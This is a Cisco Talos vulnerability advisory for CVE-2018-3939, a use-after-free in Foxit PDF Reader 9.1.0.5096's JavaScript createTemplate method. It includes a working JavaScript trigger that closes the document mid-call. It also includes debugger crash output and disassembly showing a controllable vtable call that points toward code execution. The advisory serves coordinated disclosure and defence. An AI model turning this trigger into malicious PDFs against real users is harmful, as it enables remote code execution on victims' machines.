Talos Vulnerability Report

TALOS-2018-0606

Foxit PDF Reader Javascript createTemplate nPage Remote Code Execution Vulnerability

July 19, 2018
CVE Number

CVE-2018-3939

Summary

An exploitable use-after-free vulnerability exists in the JavaScript engine of Foxit Software’s PDF Reader, version 9.1.0.5096. A specially crafted PDF document can trigger a previously freed object in memory to be reused, resulting in arbitrary code execution. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.

Tested Versions

Foxit Software Foxit PDF Reader 9.1.0.5096.

Product URLs

https://www.foxitsoftware.com/products/pdf-reader/

CVSSv3 Score

8.0 - CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416: Use After Free

Details

Foxit PDF Reader is one of the most popular PDF document readers, and has a widespread user base. It aims to have feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface.

When executing embedded JavaScript code, a document can be closed, which essentially frees a lot of used objects, but the JavaScript can continue to execute. Invoking a method which keeps a stale reference to a now-freed object can lead to a use-after-free condition, which can be abused to execute arbitrary code.

This particular vulnerability lies in invoking the createTemplate method of the active document with a crafted object as argument, which can trigger a use-after-free condition, like in the following code:

function main() {
var a = {};
a.toString =  f;
app.activeDocs[0].createTemplate(false,a);
}

function f() {
app.activeDocs[0].closeDoc();
}

main();

In the above code, we create an object a and overload its toString method to be f. Then, when createTemplate is invoked, toString of the second argument is called, effectively closing the document and freeing a number of objects. When createTemplate continues execution, it reuses a stale reference of a freed object, causing a crash.

Opening this proof-of-concept PDF document in Foxit PDF Reader with PageHeap enabled results in the following crash:

(1668.12d0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=11f49ff8 ecx=0ff90da8 edx=075d1078 esi=12201ef0 edi=002be6f8
eip=018184c3 esp=002be5d0 ebp=002be678 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210202
FoxitReader!CryptVerifyMessageSignature+0x90c13:
018184c3 8b11            mov     edx,dword ptr [ecx]  ds:0023:0ff90da8=????????
0:000> !heap -p -a ecx
address 0ff90da8 found in
_DPH_HEAP_ROOT @ 75d1000
in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                ffc1c30:          ff90000             2000
6b0f90b2 verifier!AVrfDebugPageHeapFree+0x000000c2
774969cc ntdll!RtlDebugFreeHeap+0x0000002f
77459e07 ntdll!RtlpFreeHeap+0x0000005d
774263a6 ntdll!RtlFreeHeap+0x00000142
7565c614 kernel32!HeapFree+0x00000014
02c2df1b FoxitReader!CryptVerifyMessageSignature+0x014a666b
011208bf FoxitReader+0x000d08bf
011228a8 FoxitReader+0x000d28a8
0126965e FoxitReader+0x0021965e
0126942b FoxitReader+0x0021942b
0127842a FoxitReader+0x0022842a
01262fd7 FoxitReader+0x00212fd7
01262df8 FoxitReader+0x00212df8
02a851ec FoxitReader!CryptVerifyMessageSignature+0x012fd93c
02a890ef FoxitReader!CryptVerifyMessageSignature+0x0130183f
02a8917e FoxitReader!CryptVerifyMessageSignature+0x013018ce
7724c4b7 USER32!InternalCallWinProc+0x00000023
7724c5b7 USER32!UserCallWinProcCheckWow+0x0000014b
77245264 USER32!SendMessageWorker+0x000004d0
77245552 USER32!SendMessageW+0x0000007c
012609f5 FoxitReader+0x002109f5
02a8ae65 FoxitReader!CryptVerifyMessageSignature+0x013035b5
02a851ec FoxitReader!CryptVerifyMessageSignature+0x012fd93c
02a890ef FoxitReader!CryptVerifyMessageSignature+0x0130183f
02a8917e FoxitReader!CryptVerifyMessageSignature+0x013018ce
7724c4b7 USER32!InternalCallWinProc+0x00000023
7724c5b7 USER32!UserCallWinProcCheckWow+0x0000014b
77245264 USER32!SendMessageWorker+0x000004d0
77245552 USER32!SendMessageW+0x0000007c
0118bee7 FoxitReader+0x0013bee7
017f373e FoxitReader!CryptVerifyMessageSignature+0x0006be8e
018019e9 FoxitReader!CryptVerifyMessageSignature+0x0007a139

 
0:000> u
FoxitReader!CryptVerifyMessageSignature+0x90c13:
018184c3 8b11            mov     edx,dword ptr [ecx]
018184c5 8b4204          mov     eax,dword ptr [edx+4]
018184c8 83c404          add     esp,4
018184cb ffd0            call    eax
018184cd 8bf8            mov     edi,eax
018184cf 85ff            test    edi,edi
018184d1 0f8427ffffff    je      FoxitReader!CryptVerifyMessageSignature+0x90b4e (018183fe)
018184d7 8b5f5c          mov     ebx,dword ptr [edi+5Ch]
0:000> k 4
 # ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be wrong.
00 002be678 01819099 FoxitReader!CryptVerifyMessageSignature+0x90c13
01 002be6d4 013d1578 FoxitReader!CryptVerifyMessageSignature+0x917e9
02 002be71c 028d9b2e FoxitReader+0x381578
03 002be750 028d1946 FoxitReader!CryptVerifyMessageSignature+0x115227e

Analyzing the heap state clearly shows that ecx points into an unallocated freed memory region. And, if we take a look at the code immediately following the point of crash, we can see edx being used as a vtable pointer, ultimately leading to call instruction with controllable operand in eax. Since the contents of memory pointed to by ecx can easily be controlled, this leads to relatively straightforward conditions for arbitrary code execution.

Timeline

2018-06-05 - Vendor Disclosure
2018-07-19 - Public Release

Credit

Discovered by Aleksandar Nikolic of Cisco Talos.